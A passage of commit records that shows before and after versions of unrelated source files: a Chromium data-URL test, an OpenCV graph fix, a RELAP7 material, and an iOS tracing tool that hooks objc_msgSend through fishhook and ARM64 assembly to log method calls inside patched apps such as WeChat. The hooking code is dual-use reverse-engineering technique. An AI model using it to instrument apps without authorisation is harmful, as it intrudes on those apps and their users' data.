whitespace should also be removed from anything base-64 encoded.\n { \"data:;base64,aGVs bG8gd2 \\n9ybGQ=\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"hello world\" },\n\n \/\/ In base64 encoding, escaped whitespace should be stripped.\n \/\/ (This test was taken from acid3)\n \/\/ http:\/\/b\/1054495\n { \"data:text\/javascript;base64,%20ZD%20Qg%0D%0APS%20An%20Zm91cic%0D%0A%207\"\n \"%20\",\n true,\n \"text\/javascript\",\n \"US-ASCII\",\n \"d4 = 'four';\" },\n\n \/\/ Only unescaped whitespace should be stripped in non-base64.\n \/\/ http:\/\/b\/1157796\n { \"data:img\/png,A B %20 %0A C\",\n true,\n \"img\/png\",\n \"US-ASCII\",\n \"AB \\nC\" },\n\n \/\/ TODO(darin): add more interesting tests\n };\n\n for (size_t i = 0; i < arraysize(tests); ++i) {\n std::string mime_type;\n std::string charset;\n std::string data;\n bool ok =\n net::DataURL::Parse(GURL(tests[i].url), &mime_type, &charset, &data);\n EXPECT_EQ(ok, tests[i].is_valid);\n if (tests[i].is_valid) {\n EXPECT_EQ(tests[i].mime_type, mime_type);\n EXPECT_EQ(tests[i].charset, charset);\n EXPECT_EQ(tests[i].data, data);\n }\n }\n}\n<commit_msg>Fix indentation.<commit_after>\/\/ Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/basictypes.h\"\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/data_url.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace {\n\nstruct ParseTestData {\n const char* url;\n bool is_valid;\n const char* mime_type;\n const char* charset;\n const char* data;\n};\n\nclass DataURLTest : public testing::Test {\n};\n\n}\n\nTEST(DataURLTest, Parse) {\n const ParseTestData tests[] = {\n { \"data:\",\n false,\n \"\",\n \"\",\n \"\" },\n\n { \"data:,\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"\" },\n\n { \"data:;base64,\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"\" },\n\n { \"data:;charset=,test\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"test\" },\n\n { \"data:TeXt\/HtMl,<b>x<\/b>\",\n true,\n \"text\/html\",\n \"US-ASCII\",\n \"<b>x<\/b>\" },\n\n { \"data:,foo\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"foo\" },\n\n { \"data:;base64,aGVsbG8gd29ybGQ=\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"hello world\" },\n\n { \"data:foo\/bar;baz=1;charset=kk,boo\",\n true,\n \"foo\/bar\",\n \"kk\",\n \"boo\" },\n\n { \"data:text\/html,%3Chtml%3E%3Cbody%3E%3Cb%3Ehello%20world\"\n \"%3C%2Fb%3E%3C%2Fbody%3E%3C%2Fhtml%3E\",\n true,\n \"text\/html\",\n \"US-ASCII\",\n \"<html><body><b>hello world<\/b><\/body><\/html>\" },\n\n { \"data:text\/html,<html><body><b>hello world<\/b><\/body><\/html>\",\n true,\n \"text\/html\",\n \"US-ASCII\",\n \"<html><body><b>hello world<\/b><\/body><\/html>\" },\n\n \/\/ the comma cannot be url-escaped!\n { \"data:%2Cblah\",\n false,\n \"\",\n \"\",\n \"\" },\n\n \/\/ invalid base64 content\n { \"data:;base64,aGVs_-_-\",\n false,\n \"\",\n \"\",\n \"\" },\n\n \/\/ Spaces should be removed from non-text data URLs (we already tested\n \/\/ spaces above).\n { \"data:image\/fractal,a b c d e f g\",\n true,\n \"image\/fractal\",\n \"US-ASCII\",\n \"abcdefg\" },\n\n \/\/ Spaces should also be removed from anything base-64 encoded\n { \"data:;base64,aGVs bG8gd2 9ybGQ=\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"hello world\" },\n\n \/\/ Other whitespace should also be removed from anything base-64 encoded.\n { \"data:;base64,aGVs bG8gd2 \\n9ybGQ=\",\n true,\n \"text\/plain\",\n \"US-ASCII\",\n \"hello world\" },\n\n \/\/ In base64 encoding, escaped whitespace should be stripped.\n \/\/ (This test was taken from acid3)\n \/\/ http:\/\/b\/1054495\n { \"data:text\/javascript;base64,%20ZD%20Qg%0D%0APS%20An%20Zm91cic%0D%0A%207\"\n \"%20\",\n true,\n \"text\/javascript\",\n \"US-ASCII\",\n \"d4 = 'four';\" },\n\n \/\/ Only unescaped whitespace should be stripped in non-base64.\n \/\/ http:\/\/b\/1157796\n { \"data:img\/png,A B %20 %0A C\",\n true,\n \"img\/png\",\n \"US-ASCII\",\n \"AB \\nC\" },\n\n \/\/ TODO(darin): add more interesting tests\n };\n\n for (size_t i = 0; i < arraysize(tests); ++i) {\n std::string mime_type;\n std::string charset;\n std::string data;\n bool ok =\n net::DataURL::Parse(GURL(tests[i].url), &mime_type, &charset, &data);\n EXPECT_EQ(ok, tests[i].is_valid);\n if (tests[i].is_valid) {\n EXPECT_EQ(tests[i].mime_type, mime_type);\n EXPECT_EQ(tests[i].charset, charset);\n EXPECT_EQ(tests[i].data, data);\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ This file is part of OpenCV project.\n\/\/ It is subject to the license terms in the LICENSE file found in the top-level directory\n\/\/ of this distribution and at http:\/\/opencv.org\/license.html.\n\/\/\n\/\/ Copyright (C) 2019 Intel Corporation\n\n#include \"pattern_matching.hpp\"\n\n#include \"ade\/util\/zip_range.hpp\"\n\nnamespace cv { namespace gimpl {\nnamespace {\nusing Graph = GModel::Graph;\n\ntemplate<typename Iterator>\nade::NodeHandle getNh(Iterator it) { return *it; }\n\ntemplate<>\nade::NodeHandle getNh(SubgraphMatch::M::const_iterator it) { return it->second; }\n\ntemplate<typename Container>\nvoid erase(Graph& g, const Container& c)\n{\n for (auto first = c.begin(); first != c.end(); ++first) {\n ade::NodeHandle node = getNh(first);\n if (node == nullptr) continue; \/\/ some nodes might already be erased\n g.erase(node);\n }\n}\n} \/\/ anonymous namespace\n\nvoid performSubstitution(GModel::Graph& graph,\n const Protocol& patternP,\n const Protocol& substituteP,\n const SubgraphMatch& patternToGraphMatch)\n{\n \/\/ 1. substitute input nodes\n const auto& patternIns = patternP.in_nhs;\n const auto& substituteIns = substituteP.in_nhs;\n\n for (auto it : ade::util::zip(ade::util::toRange(patternIns),\n ade::util::toRange(substituteIns))) {\n \/\/ Note: we don't replace input DATA nodes here, only redirect their output edges\n const auto& patternDataNode = std::get<0>(it);\n const auto& substituteDataNode = std::get<1>(it);\n const auto& graphDataNode = patternToGraphMatch.inputDataNodes.at(patternDataNode);\n GModel::redirectReaders(graph, substituteDataNode, graphDataNode);\n }\n\n \/\/ 2. substitute output nodes\n const auto& patternOuts = patternP.out_nhs;\n const auto& substituteOuts = substituteP.out_nhs;\n\n for (auto it : ade::util::zip(ade::util::toRange(patternOuts),\n ade::util::toRange(substituteOuts))) {\n \/\/ Note: we don't replace output DATA nodes here, only redirect their input edges\n const auto& patternDataNode = std::get<0>(it);\n const auto& substituteDataNode = std::get<1>(it);\n const auto& graphDataNode = patternToGraphMatch.outputDataNodes.at(patternDataNode);\n \/\/ delete existing edges (otherwise we cannot redirect)\n for (auto e : graphDataNode->inEdges()) {\n graph.erase(e);\n }\n GModel::redirectWriter(graph, substituteDataNode, graphDataNode);\n }\n\n \/\/ 3. erase redundant nodes:\n \/\/ erase input data nodes of __substitute__\n erase(graph, substituteIns);\n\n \/\/ erase old start OP nodes of __main graph__\n erase(graph, patternToGraphMatch.startOpNodes);\n\n \/\/ erase old internal nodes of __main graph__\n erase(graph, patternToGraphMatch.internalLayers);\n\n \/\/ erase old finish OP nodes of __main graph__\n erase(graph, patternToGraphMatch.finishOpNodes);\n\n \/\/ erase output data nodes of __substitute__\n erase(graph, substituteOuts);\n}\n\n} \/\/ namespace gimpl\n} \/\/ namespace cv\n<commit_msg>G-API: fix perform substitution UB\/crash<commit_after>\/\/ This file is part of OpenCV project.\n\/\/ It is subject to the license terms in the LICENSE file found in the top-level directory\n\/\/ of this distribution and at http:\/\/opencv.org\/license.html.\n\/\/\n\/\/ Copyright (C) 2019 Intel Corporation\n\n#include \"pattern_matching.hpp\"\n\n#include \"ade\/util\/zip_range.hpp\"\n\nnamespace cv { namespace gimpl {\nnamespace {\nusing Graph = GModel::Graph;\n\ntemplate<typename Iterator>\nade::NodeHandle getNh(Iterator it) { return *it; }\n\ntemplate<>\nade::NodeHandle getNh(SubgraphMatch::M::const_iterator it) { return it->second; }\n\ntemplate<typename Container>\nvoid erase(Graph& g, const Container& c)\n{\n for (auto first = c.begin(); first != c.end(); ++first) {\n ade::NodeHandle node = getNh(first);\n if (node == nullptr) continue; \/\/ some nodes might already be erased\n g.erase(node);\n }\n}\n} \/\/ anonymous namespace\n\nvoid performSubstitution(GModel::Graph& graph,\n const Protocol& patternP,\n const Protocol& substituteP,\n const SubgraphMatch& patternToGraphMatch)\n{\n \/\/ 1. substitute input nodes\n const auto& patternIns = patternP.in_nhs;\n const auto& substituteIns = substituteP.in_nhs;\n\n for (auto it : ade::util::zip(ade::util::toRange(patternIns),\n ade::util::toRange(substituteIns))) {\n \/\/ Note: we don't replace input DATA nodes here, only redirect their output edges\n const auto& patternDataNode = std::get<0>(it);\n const auto& substituteDataNode = std::get<1>(it);\n const auto& graphDataNode = patternToGraphMatch.inputDataNodes.at(patternDataNode);\n GModel::redirectReaders(graph, substituteDataNode, graphDataNode);\n }\n\n \/\/ 2. substitute output nodes\n const auto& patternOuts = patternP.out_nhs;\n const auto& substituteOuts = substituteP.out_nhs;\n\n for (auto it : ade::util::zip(ade::util::toRange(patternOuts),\n ade::util::toRange(substituteOuts))) {\n \/\/ Note: we don't replace output DATA nodes here, only redirect their input edges\n const auto& patternDataNode = std::get<0>(it);\n const auto& substituteDataNode = std::get<1>(it);\n const auto& graphDataNode = patternToGraphMatch.outputDataNodes.at(patternDataNode);\n\n \/\/ delete existing edges (otherwise we cannot redirect)\n auto existingEdges = graphDataNode->inEdges();\n \/\/ NB: we cannot iterate over node->inEdges() here directly because it gets modified when\n \/\/ edges are erased. Erasing an edge supposes that src\/dst nodes will remove\n \/\/ (correspondingly) out\/in edge (which is _our edge_). Now, this deleting means\n \/\/ node->inEdges() will also get updated in the process: so, we'd iterate over a\n \/\/ container which changes in this case. Using supplementary std::vector instead:\n std::vector<ade::EdgeHandle> handles(existingEdges.begin(), existingEdges.end());\n for (const auto& e : handles) {\n graph.erase(e);\n }\n\n GModel::redirectWriter(graph, substituteDataNode, graphDataNode);\n }\n\n \/\/ 3. erase redundant nodes:\n \/\/ erase input data nodes of __substitute__\n erase(graph, substituteIns);\n\n \/\/ erase old start OP nodes of __main graph__\n erase(graph, patternToGraphMatch.startOpNodes);\n\n \/\/ erase old internal nodes of __main graph__\n erase(graph, patternToGraphMatch.internalLayers);\n\n \/\/ erase old finish OP nodes of __main graph__\n erase(graph, patternToGraphMatch.finishOpNodes);\n\n \/\/ erase output data nodes of __substitute__\n erase(graph, substituteOuts);\n}\n\n} \/\/ namespace gimpl\n} \/\/ namespace cv\n<|endoftext|>"} {"text":"<commit_before>#include \"WallFrictionChurchillMaterial.h\"\n#include \"WallFrictionModels.h\"\n#include \"Numerics.h\"\n\ntemplate <>\nInputParameters\nvalidParams<WallFrictionChurchillMaterial>()\n{\n InputParameters params = validParams<WallFriction3EqnBaseMaterial>();\n params.addRequiredCoupledVar(\"rhoA\", \"Mass equation variable: rho*A\");\n params.addRequiredCoupledVar(\"rhouA\", \"Momentum equation variable: rho*u*A\");\n params.addRequiredCoupledVar(\"rhoEA\", \"Total energy equation variable: rho*E*A\");\n params.addRequiredCoupledVar(\"rho\", \"Density\");\n params.addRequiredCoupledVar(\"vel\", \"x-component of the velocity\");\n params.addRequiredCoupledVar(\"D_h\", \"hydraulic diameter\");\n\n params.addRequiredParam<MaterialPropertyName>(\"Cw\", \"Drag coefficient material property\");\n params.addRequiredParam<MaterialPropertyName>(\"mu\", \"Dynamic viscosity material property\");\n\n params.addRequiredParam<Real>(\"roughness\", \"Surface roughness\");\n params.declareControllable(\"roughness\");\n return params;\n}\n\nWallFrictionChurchillMaterial::WallFrictionChurchillMaterial(const InputParameters & parameters)\n : WallFriction3EqnBaseMaterial(parameters)\n{\n}\n\nvoid\nWallFrictionChurchillMaterial::computeQpProperties()\n{\n Real Re = RELAP7::Reynolds(1, _rho[_qp], _vel[_qp], _D_h[_qp], _mu[_qp]);\n\n _Cw[_qp] = WallFriction::Churchill(Re, _roughness, _D_h[_qp]) * 2. * _rho[_qp] \/ _D_h[_qp];\n _dCw_drhoA[_qp] = 0;\n _dCw_drhouA[_qp] = 0;\n _dCw_drhoEA[_qp] = 0;\n}\n<commit_msg>Update to new register methods<commit_after>#include \"WallFrictionChurchillMaterial.h\"\n#include \"WallFrictionModels.h\"\n#include \"Numerics.h\"\n\nregisterMooseObject(\"RELAP7App\", WallFrictionChurchillMaterial);\n\ntemplate <>\nInputParameters\nvalidParams<WallFrictionChurchillMaterial>()\n{\n InputParameters params = validParams<WallFriction3EqnBaseMaterial>();\n params.addRequiredCoupledVar(\"rhoA\", \"Mass equation variable: rho*A\");\n params.addRequiredCoupledVar(\"rhouA\", \"Momentum equation variable: rho*u*A\");\n params.addRequiredCoupledVar(\"rhoEA\", \"Total energy equation variable: rho*E*A\");\n params.addRequiredCoupledVar(\"rho\", \"Density\");\n params.addRequiredCoupledVar(\"vel\", \"x-component of the velocity\");\n params.addRequiredCoupledVar(\"D_h\", \"hydraulic diameter\");\n\n params.addRequiredParam<MaterialPropertyName>(\"Cw\", \"Drag coefficient material property\");\n params.addRequiredParam<MaterialPropertyName>(\"mu\", \"Dynamic viscosity material property\");\n\n params.addRequiredParam<Real>(\"roughness\", \"Surface roughness\");\n params.declareControllable(\"roughness\");\n return params;\n}\n\nWallFrictionChurchillMaterial::WallFrictionChurchillMaterial(const InputParameters & parameters)\n : WallFriction3EqnBaseMaterial(parameters)\n{\n}\n\nvoid\nWallFrictionChurchillMaterial::computeQpProperties()\n{\n Real Re = RELAP7::Reynolds(1, _rho[_qp], _vel[_qp], _D_h[_qp], _mu[_qp]);\n\n _Cw[_qp] = WallFriction::Churchill(Re, _roughness, _D_h[_qp]) * 2. * _rho[_qp] \/ _D_h[_qp];\n _dCw_drhoA[_qp] = 0;\n _dCw_drhouA[_qp] = 0;\n _dCw_drhoEA[_qp] = 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ OCTrace.cpp\n\/\/ IPAPatch\n\/\/\n\/\/ Created by wadahana on 01\/06\/2017.\n\/\/ Copyright © 2017. All rights reserved.\n\/\/\n\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/socket.h>\n#include <arpa\/inet.h>\n#include <dlfcn.h>\n#include <assert.h>\n#include <string.h>\n#include <pthread.h>\n#include <uuid\/uuid.h>\n\n\n\n#include <objc\/objc.h>\n#include <objc\/runtime.h>\n#include <mach\/mach.h>\n#include <mach-o\/dyld_images.h>\n#include <mach\/vm_map.h>\n#include <mach-o\/loader.h>\n#include <mach-o\/nlist.h>\n#include <mach-o\/fat.h>\n#include <mach-o\/loader.h>\n#include <mach-o\/dyld.h>\n\n#import \"fishhook.h\"\n\n#include \"OCTrace.h\"\n#include \"OCTraceImage.h\"\n#include \"OCTraceLogger.h\"\n#include \"OCTraceLocalLogger.h\"\n#include \"OCTraceRemoteLogger.h\"\n#include <vector>\n#include <string>\n\nstatic OCTraceLogger * s_logger = NULL;\nstatic const char * s_skip_image_names[] = {\n \"WeChat\",\n \"demo\",\n \"IPAPatch\",\n NULL,\n};\n\n\nstatic const char * s_skip_class_names[] = {\n \"NewStrategyItem\",\n \"StrategyInterval\",\n NULL,\n};\n\n\nstatic std::vector<OCTraceImage> s_image_list;\n\n\ntypedef id (*fn_objc_msgSend)(id self, SEL op);\n\nstatic fn_objc_msgSend s_origin_objc_msgSend = NULL;\n\nstatic bool __skip_image_addr(intptr_t addr) {\n bool retval = true;\n if (addr != (intptr_t)NULL) {\n for (std::vector<OCTraceImage>::iterator itor = s_image_list.begin();\n itor != s_image_list.end(); itor += 1) {\n OCTraceImage image = *itor;\n if (addr >= image.start_addr && addr <= image.end_addr) {\n retval = false;\n break;\n }\n }\n }\n return retval;\n}\n\n\nstatic bool __skip_class_name(const char * name) {\n bool retval = false;\n if (name != NULL) {\n for (int i = 0; s_skip_class_names[i] != NULL; i++) {\n if (strcasecmp(name, s_skip_class_names[i]) == 0) {\n retval = true;\n }\n }\n }\n return retval;\n}\n\n\nextern \"C\"\nvoid * __hook_callback_pre(id self, SEL op, intptr_t arg0, intptr_t arg1) {\n const char* class_name = (char*) object_getClassName( self );\n Class clazz = objc_lookUpClass(class_name);\n \n if (!__skip_image_addr((intptr_t)clazz) && !__skip_class_name(class_name)) {\n#if 0\n const char* op_name = (const char*) op;\n op_name = !op_name ? \"null\" : op_name;\n\n __uint64_t threadId = 0;\n if (pthread_threadid_np(0, &threadId)) {\n threadId = pthread_mach_thread_np(pthread_self());\n }\n \n fprintf(stderr, \"[%ld:%llu] [%s %s] -> \\n\", (long)getpid(), threadId, class_name, op_name);\n#endif\n if (s_logger) {\n s_logger->logBeforeCallee((intptr_t)self, (intptr_t)op);\n }\n }\n return (void *)s_origin_objc_msgSend;\n}\n\nextern \"C\"\nvoid __hook_callback_post(id self, SEL op) {\n\/\/ fprintf(stderr, \"post self :%p, op:%s\\n\", self, (const char *)op);\n if (s_logger) {\n s_logger->logAfterCallee((intptr_t)self, (intptr_t)op);\n }\n return;\n}\n\n\n#if __LP64__\n__attribute__((naked))\nstatic id new_objc_msgSend(id self, SEL op) {\n \n __asm__\n __volatile__ (\n \"stp fp, lr, [sp, #-16]!;\\n\"\n \"mov fp, sp;\\n\"\n\n \/\/ store x10-x13,\n \"sub sp, sp, #(8*16+14*8);\\n\"\n \"stp x0, x1, [sp, #(0*8)];\\n\"\n \"stp x2, x3, [sp, #(2*8)];\\n\"\n \"stp x4, x5, [sp, #(4*8)];\\n\"\n \"stp x6, x7, [sp, #(6*8)];\\n\"\n \"stp x8, x9, [sp, #(8*8)];\\n\"\n \"stp x10, x11, [sp, #(10*8)];\\n\"\n \"stp x12, x13, [sp, #(12*8)];\\n\"\n \"stp q0, q1, [sp, #(14*8+0*16)];\\n\"\n \"stp q2, q3, [sp, #(14*8+2*16)];\\n\"\n \"stp q4, q5, [sp, #(14*8+4*16)];\\n\"\n \"stp q6, q7, [sp, #(14*8+6*16)];\\n\"\n \n \"ldr x9, [fp];\\n\"\n \"add x10, fp, #16;\\n\"\n \n \"adr lr, Llocal_return;\\n\"\n \"stp fp, lr, [sp, #-16]!;\\n\"\n \"mov fp, sp;\\n\"\n \n \/\/ reconstruct arguments stack\n \"mov x11, x9;\\n\"\n \"mov x12, sp;\\n\"\n \"cmp x10, x11;\\n\"\n \"bhs Lskip_copy;\\n\"\n \"Lcopy_stack:\\n\"\n \"ldr x13, [x11,#-8]!;\\n\"\n \"str x13, [x12,#-8]!;\\n\"\n \"cmp x10, x11;\\n\"\n \"bne Lcopy_stack;\\n\"\n \"mov sp, x12;\\n\"\n \"Lskip_copy:\\n\"\n \n \"adr lr, Llocal_return;\\n\"\n \n \"BL ___hook_callback_pre;\\n\"\n \"mov x9, x0;\\n\"\n \n \"add x10, fp, #16;\\n\"\n \"ldp x0, x1, [x10, #(0*8)];\\n\"\n \"ldp x2, x3, [x10, #(2*8)];\\n\"\n \"ldp x4, x5, [x10, #(4*8)];\\n\"\n \"ldp x6, x7, [x10, #(6*8)];\\n\"\n \"ldr x8, [x10, #(8*8)];\\n\"\n \"ldp q0, q1, [x10, #(14*8+0*16)];\\n\"\n \"ldp q2, q3, [x10, #(14*8+2*16)];\\n\"\n \"ldp q4, q5, [x10, #(14*8+4*16)];\\n\"\n \"ldp q6, q7, [x10, #(14*8+6*16)];\\n\"\n \n \"BLR x9;\\n\"\n \"Llocal_return:\\n\"\n \n \/\/ store x0-x8 \/ q0-q7 after call objc_sendMsg.\n \"add x9, fp, #16;\\n\"\n \"ldp x10, x11, [x9, #(0*8)];\\n\"\n \"stp x0, x1, [x9, #(0*8)];\\n\"\n \"stp x2, x3, [x9, #(2*8)];\\n\"\n \"stp x4, x5, [x9, #(4*8)];\\n\"\n \"stp x6, x7, [x9, #(6*8)];\\n\"\n \"str x8, [x9, #(8*8)];\\n\"\n \"stp q0, q1, [x9, #(14*8+0*16)];\\n\"\n \"stp q2, q3, [x9, #(14*8+2*16)];\\n\"\n \"stp q4, q5, [x9, #(14*8+4*16)];\\n\"\n \"stp q6, q7, [x9, #(14*8+6*16)];\\n\"\n \n \/\/ restore self and op before call __hook_callback_post\n \"mov x0, x10;\\n\"\n \"mov x1, x11;\\n\"\n \"BL ___hook_callback_post;\\n\"\n \n \"mov sp, fp;\\n\"\n \"ldp fp, lr, [sp], #16;\\n\"\n \n \/\/ restore x0-x13 and q0-q7 to objc_sendMsg's return values\n \"ldp x0, x1, [sp, #(0*8)];\\n\"\n \"ldp x2, x3, [sp, #(2*8)];\\n\"\n \"ldp x4, x5, [sp, #(4*8)];\\n\"\n \"ldp x6, x7, [sp, #(6*8)];\\n\"\n \"ldp x8, x9, [sp, #(8*8)];\\n\"\n \"ldp x10, x11, [sp, #(10*8)];\\n\"\n \"ldp x12, x13, [sp, #(12*8)];\\n\"\n \"ldp q0, q1, [sp, #(14*8+0*16)];\\n\"\n \"ldp q2, q3, [sp, #(14*8+2*16)];\\n\"\n \"ldp q4, q5, [sp, #(14*8+4*16)];\\n\"\n \"ldp q6, q7, [sp, #(14*8+6*16)];\\n\"\n \n \"mov sp, fp;\\n\"\n \"ldp fp, lr, [sp], #16;\\n\"\n \"ret;\\n\"\n );\n}\n\n#else\n\n__attribute__((naked))\nstatic id new_objc_msgSend(id self, SEL op) {\n\n}\n\n#endif\n\nint OCTraceInit(OCTraceLogger * logger) {\n \n#if 1\n OCTraceImageListInit();\n s_image_list.clear();\n for(int i = 0; s_skip_image_names[i] != NULL; i++) {\n const char * image_name = s_skip_image_names[i];\n OCTraceImage image = OCTraceGetImageWithName(image_name);\n if (image.start_addr != (intptr_t)NULL) {\n s_image_list.insert(s_image_list.end(), image);\n }\n }\n \n#endif\n \/\/s_logger = new OCTraceLocalLogger();\n s_logger = logger ;\/\/new OCTraceRemoteLogger();\n \n s_origin_objc_msgSend = (fn_objc_msgSend)dlsym(RTLD_DEFAULT, \"objc_msgSend\");\n return rebind_symbols((struct rebinding[1]){{\"objc_msgSend\", (void *)new_objc_msgSend}}, 1);\n\n}\n\n<commit_msg>use imp addr to check image<commit_after>\/\/\n\/\/ OCTrace.cpp\n\/\/ IPAPatch\n\/\/\n\/\/ Created by wadahana on 01\/06\/2017.\n\/\/ Copyright © 2017. All rights reserved.\n\/\/\n\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/socket.h>\n#include <arpa\/inet.h>\n#include <dlfcn.h>\n#include <assert.h>\n#include <string.h>\n#include <pthread.h>\n#include <uuid\/uuid.h>\n\n\n\n#include <objc\/objc.h>\n#include <objc\/runtime.h>\n#include <mach\/mach.h>\n#include <mach-o\/dyld_images.h>\n#include <mach\/vm_map.h>\n#include <mach-o\/loader.h>\n#include <mach-o\/nlist.h>\n#include <mach-o\/fat.h>\n#include <mach-o\/loader.h>\n#include <mach-o\/dyld.h>\n\n#import \"fishhook.h\"\n\n#include \"OCTrace.h\"\n#include \"OCTraceImage.h\"\n#include \"OCTraceLogger.h\"\n#include \"OCTraceLocalLogger.h\"\n#include \"OCTraceRemoteLogger.h\"\n#include <vector>\n#include <string>\n\nstatic OCTraceLogger * s_logger = NULL;\nstatic const char * s_skip_image_names[] = {\n \"WeChat\",\n \"demo\",\n \"IPAPatch\",\n NULL,\n};\n\n\nstatic const char * s_skip_class_names[] = {\n \"NewStrategyItem\",\n \"StrategyInterval\",\n NULL,\n};\n\n\nstatic std::vector<OCTraceImage> s_image_list;\n\n\ntypedef id (*fn_objc_msgSend)(id self, SEL op);\n\nstatic fn_objc_msgSend s_origin_objc_msgSend = NULL;\n\nstatic bool __skip_image_addr(intptr_t addr) {\n bool retval = true;\n if (addr != (intptr_t)NULL) {\n for (std::vector<OCTraceImage>::iterator itor = s_image_list.begin();\n itor != s_image_list.end(); itor += 1) {\n OCTraceImage image = *itor;\n if (addr >= image.start_addr && addr <= image.end_addr) {\n retval = false;\n break;\n }\n }\n }\n return retval;\n}\n\n\nstatic bool __skip_class_name(const char * name) {\n bool retval = false;\n if (name != NULL) {\n for (int i = 0; s_skip_class_names[i] != NULL; i++) {\n if (strcasecmp(name, s_skip_class_names[i]) == 0) {\n retval = true;\n }\n }\n }\n return retval;\n}\n\n\nextern \"C\"\nvoid * __hook_callback_pre(id self, SEL op, intptr_t arg0, intptr_t arg1) {\n const char* class_name = (char*) object_getClassName( self );\n Class clazz = objc_lookUpClass(class_name);\n IMP imp = method_getImplementation(class_getInstanceMethod(clazz, op));\n if (!imp) {\n imp = method_getImplementation(class_getClassMethod(clazz, op));\n }\n \n if (!__skip_image_addr((intptr_t)imp) && !__skip_class_name(class_name)) {\n#if 0\n const char* op_name = (const char*) op;\n op_name = !op_name ? \"null\" : op_name;\n\n __uint64_t threadId = 0;\n if (pthread_threadid_np(0, &threadId)) {\n threadId = pthread_mach_thread_np(pthread_self());\n }\n \n fprintf(stderr, \"[%ld:%llu] [%s %s] -> \\n\", (long)getpid(), threadId, class_name, op_name);\n#endif\n if (s_logger) {\n s_logger->logBeforeCallee((intptr_t)self, (intptr_t)op);\n }\n }\n return (void *)s_origin_objc_msgSend;\n}\n\nextern \"C\"\nvoid __hook_callback_post(id self, SEL op) {\n\/\/ fprintf(stderr, \"post self :%p, op:%s\\n\", self, (const char *)op);\n if (s_logger) {\n s_logger->logAfterCallee((intptr_t)self, (intptr_t)op);\n }\n return;\n}\n\n\n#if __LP64__\n__attribute__((naked))\nstatic id new_objc_msgSend(id self, SEL op) {\n \n __asm__\n __volatile__ (\n \"stp fp, lr, [sp, #-16]!;\\n\"\n \"mov fp, sp;\\n\"\n\n \/\/ store x10-x13,\n \"sub sp, sp, #(8*16+14*8);\\n\"\n \"stp x0, x1, [sp, #(0*8)];\\n\"\n \"stp x2, x3, [sp, #(2*8)];\\n\"\n \"stp x4, x5, [sp, #(4*8)];\\n\"\n \"stp x6, x7, [sp, #(6*8)];\\n\"\n \"stp x8, x9, [sp, #(8*8)];\\n\"\n \"stp x10, x11, [sp, #(10*8)];\\n\"\n \"stp x12, x13, [sp, #(12*8)];\\n\"\n \"stp q0, q1, [sp, #(14*8+0*16)];\\n\"\n \"stp q2, q3, [sp, #(14*8+2*16)];\\n\"\n \"stp q4, q5, [sp, #(14*8+4*16)];\\n\"\n \"stp q6, q7, [sp, #(14*8+6*16)];\\n\"\n \n \"ldr x9, [fp];\\n\"\n \"add x10, fp, #16;\\n\"\n \n \"adr lr, Llocal_return;\\n\"\n \"stp fp, lr, [sp, #-16]!;\\n\"\n \"mov fp, sp;\\n\"\n \n \/\/ reconstruct arguments stack\n \"mov x11, x9;\\n\"\n \"mov x12, sp;\\n\"\n \"cmp x10, x11;\\n\"\n \"bhs Lskip_copy;\\n\"\n \"Lcopy_stack:\\n\"\n \"ldr x13, [x11,#-8]!;\\n\"\n \"str x13, [x12,#-8]!;\\n\"\n \"cmp x10, x11;\\n\"\n \"bne Lcopy_stack;\\n\"\n \"mov sp, x12;\\n\"\n \"Lskip_copy:\\n\"\n \n \"adr lr, Llocal_return;\\n\"\n \n \"BL ___hook_callback_pre;\\n\"\n \"mov x9, x0;\\n\"\n \n \"add x10, fp, #16;\\n\"\n \"ldp x0, x1, [x10, #(0*8)];\\n\"\n \"ldp x2, x3, [x10, #(2*8)];\\n\"\n \"ldp x4, x5, [x10, #(4*8)];\\n\"\n \"ldp x6, x7, [x10, #(6*8)];\\n\"\n \"ldr x8, [x10, #(8*8)];\\n\"\n \"ldp q0, q1, [x10, #(14*8+0*16)];\\n\"\n \"ldp q2, q3, [x10, #(14*8+2*16)];\\n\"\n \"ldp q4, q5, [x10, #(14*8+4*16)];\\n\"\n \"ldp q6, q7, [x10, #(14*8+6*16)];\\n\"\n \n \"BLR x9;\\n\"\n \"Llocal_return:\\n\"\n \n \/\/ store x0-x8 \/ q0-q7 after call objc_sendMsg.\n \"add x9, fp, #16;\\n\"\n \"ldp x10, x11, [x9, #(0*8)];\\n\"\n \"stp x0, x1, [x9, #(0*8)];\\n\"\n \"stp x2, x3, [x9, #(2*8)];\\n\"\n \"stp x4, x5, [x9, #(4*8)];\\n\"\n \"stp x6, x7, [x9, #(6*8)];\\n\"\n \"str x8, [x9, #(8*8)];\\n\"\n \"stp q0, q1, [x9, #(14*8+0*16)];\\n\"\n \"stp q2, q3, [x9, #(14*8+2*16)];\\n\"\n \"stp q4, q5, [x9, #(14*8+4*16)];\\n\"\n \"stp q6, q7, [x9, #(14*8+6*16)];\\n\"\n \n \/\/ restore self and op before call __hook_callback_post\n \"mov x0, x10;\\n\"\n \"mov x1, x11;\\n\"\n \"BL ___hook_callback_post;\\n\"\n \n \"mov sp, fp;\\n\"\n \"ldp fp, lr, [sp], #16;\\n\"\n \n \/\/ restore x0-x13 and q0-q7 to objc_sendMsg's return values\n \"ldp x0, x1, [sp, #(0*8)];\\n\"\n \"ldp x2, x3, [sp, #(2*8)];\\n\"\n \"ldp x4, x5, [sp, #(4*8)];\\n\"\n \"ldp x6, x7, [sp, #(6*8)];\\n\"\n \"ldp x8, x9, [sp, #(8*8)];\\n\"\n \"ldp x10, x11, [sp, #(10*8)];\\n\"\n \"ldp x12, x13, [sp, #(12*8)];\\n\"\n \"ldp q0, q1, [sp, 